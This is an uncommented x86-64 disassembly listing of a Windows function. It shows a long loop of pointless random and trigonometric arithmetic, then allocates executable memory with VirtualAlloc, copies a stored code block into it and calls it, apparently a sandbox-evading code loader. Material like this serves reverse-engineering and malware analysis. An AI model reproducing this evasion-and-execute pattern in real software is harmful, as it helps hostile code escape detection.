call fcn.140016090
nop
lea rcx, [rbp + 0x18]
call fcn.140016050
nop
lea rcx, [rbp + 0x60]
call fcn.140016050
lea rcx, [rbp + 0x68]
call fcn.140017600
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp], rcx
lea rdx, [rbp]
lea rcx, [rbp + 0x308]
call fcn.140016090
nop
lea rcx, [rbp]
call fcn.140016050
nop
lea rcx, [rbp + 0x68]
call fcn.140016050
lea rcx, [rbp + 0x70]
call fcn.140017630
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x20], rcx
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x308]
call fcn.140016090
nop
lea rcx, [rbp + 0x20]
call fcn.140016050
nop
lea rcx, [rbp + 0x70]
call fcn.140016050
lea rcx, [rbp + 0x78]
call fcn.140017660
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0x28], rcx
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0x308]
call fcn.140016090
nop
lea rcx, [rbp + 0x28]
call fcn.140016050
nop
lea rcx, [rbp + 0x78]
call fcn.140016050
lea rcx, [rbp + 0x80]
call fcn.140001ae0
mov rcx, rax
lea rdx, [rsp + 0x68]
call fcn.140002930
test al, al
jns 0x14000af4c
xor r13d, r13d
nop word [rax + rax]
mov r12d, 0x186a0
nop word [rax + rax]
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2c0]
call fcn.140017450
mov rbx, qword [rbp + 0x310]
sub rbx, qword [rbp + 0x308]
sar rbx, 3
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2c0]
call fcn.140017450
cdqe
xor edx, edx
div rbx
movsxd rcx, edx
mov rax, qword [rbp + 0x308]
mov rdi, qword [rax + rcx*8]
mov rax, qword [rdi]
mov rbx, qword [rax + 8]
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2c0]
call fcn.140017450
mov r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, rdi
call rbx
mov dword [rsp + 0x40], eax
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2f8]
call fcn.140017690
movaps xmm5, xmm0
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2f8]
call fcn.140017690
movaps xmm1, xmm5
call fcn.1400027e0
movsd xmm1, qword [rsp + 0x48]
addsd xmm0, xmm1
movsd qword [rsp + 0x48], xmm0
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2f8]
call fcn.140017690
movsd xmm1, qword [0x1400253a8]
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x48]
subsd xmm1, xmm0
movsd qword [rsp + 0x48], xmm1
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2f8]
call fcn.140017690
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x430]
call fcn.1400167d0
nop
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x430]
call fcn.140002750
lea rcx, [rbp + 0x3b8]
call fcn.140002990
lea rcx, [rbp + 0x3b8]
call fcn.140016240
nop
lea rax, [rbp + 0x2c0]
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x2b90]
mov qword [rsp + 0x58], rax
movaps xmm0, xmmword [rsp + 0x50]
movdqa xmmword [rbp + 0x1f0], xmm0
lea r8, [rbp + 0x1f0]
mov rdx, qword [rbp + 0x3c0]
mov rcx, qword [rbp + 0x3b8]
call fcn.140017720
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x3b8]
call fcn.140002860
mov rdx, qword [rbp + 0x3c0]
mov rcx, qword [rbp + 0x3b8]
call fcn.140017780
mov ecx, dword [rsp + 0x40]
add ecx, eax
mov dword [rsp + 0x40], ecx
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2c0]
call fcn.140017450
mov ebx, eax
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2c0]
call fcn.140017450
mov r8d, ebx
mov edx, eax
call fcn.140002960
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14000ac69
dec eax
or eax, 0xfffffffe
inc eax
lea rdx, [rbp + 0x2b90]
lea rcx, [rbp + 0x2c0]
test eax, eax
jne 0x14000ac8c
call fcn.140017450
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
jmp 0x14000ac9b
call fcn.140017450
mov ecx, dword [rsp + 0x40]
sub ecx, eax
mov dword [rsp + 0x40], ecx
mov edi, 0x80000000
mov r15d, 5
nop word [rax + rax]
mov r14d, r13d
mov eax, dword [rbp + 0x2c0]
cmp eax, edi
lea esi, [rax + rdi]
jb 0x14000acc6
lea esi, [rax - 0x80000000]
mov eax, dword [rbp + 0x2c4]
cmp eax, edi
jae 0x14000acd4
add eax, edi
jmp 0x14000acd9
add eax, 0x80000000
sub eax, esi
lea rcx, [rbp + 0x2b90]
cmp eax, 0xffffffff
jne 0x14000acf0
call fcn.1400198a0
mov ecx, eax
jmp 0x14000ad31
lea ebx, [rax + 1]
call fcn.1400198a0
mov edi, ebx
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jae 0x14000ad28
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14000ad28
lea rcx, [rbp + 0x2b90]
call fcn.1400198a0
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x14000ad12
shr rcx, 0x20
mov edi, 0x80000000
add ecx, esi
lea eax, [rcx + rdi]
lea edx, [rcx - 0x80000000]
cmp ecx, edi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
movaps xmm2, xmm8
movaps xmm1, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x2b90]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm2, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x14000ad60
divsd xmm2, xmm1
movsd xmm0, qword [rbp + 0x300]
movups xmm1, xmmword [rbp + 0x2f8]
subsd xmm0, xmm1
mulsd xmm2, xmm0
addsd xmm2, xmm1
addsd xmm2, qword [rsp + 0x48]
movsd qword [rsp + 0x48], xmm2
test r14b, 1
jne 0x14000ae5e
mov eax, dword [rbp + 0x2c0]
cmp eax, edi
lea esi, [rax + rdi]
jb 0x14000add6
lea esi, [rax - 0x80000000]
mov eax, dword [rbp + 0x2c4]
cmp eax, edi
jae 0x14000ade4
add eax, edi
jmp 0x14000ade9
add eax, 0x80000000
sub eax, esi
lea rcx, [rbp + 0x2b90]
cmp eax, 0xffffffff
jne 0x14000ae00
call fcn.1400198a0
mov ecx, eax
jmp 0x14000ae41
lea ebx, [rax + 1]
call fcn.1400198a0
mov edi, ebx
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jae 0x14000ae38
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x14000ae38
lea rcx, [rbp + 0x2b90]
call fcn.1400198a0
mov ecx, eax
imul rcx, rdi
cmp ecx, ebx
jb 0x14000ae22
shr rcx, 0x20
mov edi, 0x80000000
add ecx, esi
lea eax, [rcx + rdi]
lea edx, [rcx - 0x80000000]
cmp ecx, edi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
imul edx, eax
mov dword [rsp + 0x40], edx
jmp 0x14000aed2
movaps xmm3, xmm8
movaps xmm1, xmm10
mov ebx, 2
nop dword [rax + rax]
lea rcx, [rbp + 0x2b90]
call fcn.1400198a0
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm3, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x14000ae70
movsd xmm2, qword [rsp + 0x48]
divsd xmm3, xmm1
movsd xmm0, qword [rbp + 0x300]
movups xmm1, xmmword [rbp + 0x2f8]
subsd xmm0, xmm1
mulsd xmm3, xmm0
addsd xmm3, xmm1
addsd xmm3, xmm10
divsd xmm2, xmm3
movsd qword [rsp + 0x48], xmm2
inc r14d
cmp r14d, 5
jl 0x14000acb3
sub r15, 1
jne 0x14000acb0
lea rcx, [rbp + 0x3b8]
call fcn.1400161e0
nop
mov r8, qword [rbp + 0x448]
cmp r8, 0x10
jb 0x14000af12
inc r8
mov rdx, qword [rbp + 0x430]
call fcn.1400170d0
sub r12, 1
jne 0x14000aa60
lea rcx, [rbp + 0x80]
call fcn.140001ae0
mov rcx, rax
lea rdx, [rsp + 0x68]
call fcn.140002930
test al, al
js 0x14000aa50
lea r13d, [r12 + 3]
lea r12, [0x140017c50]
xor r14d, r14d
mov eax, dword [rsp + 0x40]
lea rcx, [rbp + 0x308]
call fcn.1400160c0
mov rbx, qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x60], 0x1c2
lea rcx, [rbp + 0x418]
call fcn.140002990
lea rdx, [rbp + 0x3ff8]
lea rcx, [rbp + 0x418]
call fcn.1400029a0
nop
mov ecx, r14d
mov rax, qword [0x14002e440]
lea rdi, [0x140000000]
test rax, rax
je 0x14000afca
cmp rax, r12
je 0x14000afb7
inc ecx
mov rax, qword [rdi + rcx*8 + 0x2e440]
test rax, rax
jne 0x14000afa1
jmp 0x14000afca
mov eax, ecx
mov r10, qword [rdi + rax*8 + 0x2f750]
test r10, r10
jne 0x14000b0af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14000aff1
mov r10, r14
jmp 0x14000b08e
mov rax, r12
mov rcx, r10
nop word [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub r13, 1
jne 0x14000b000
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14002ea90]
mov qword [rdi + rax*8 + 0x2e440], r12
mov qword [rdi + rax*8 + 0x2f750], r10
inc rax
mov qword [0x14002ea90], rax
lea rdx, [rsp + 0x60]
mov rcx, rbx
call r10
nop
mov rcx, qword [rbp + 0x418]
xor rcx, qword [rbp + 0x420]
mov rax, qword [rbp + 0x428]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x358]
xor rcx, qword [rbp + 0x350]
mov rax, qword [rbp + 0x360]
mov qword [rax], rcx
mov rcx, qword [rbp + 0x3f20]
xor rcx, rsp
call fcn.1400219a0
lea r11, [rsp + 0x40d0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001cf0
nop
int3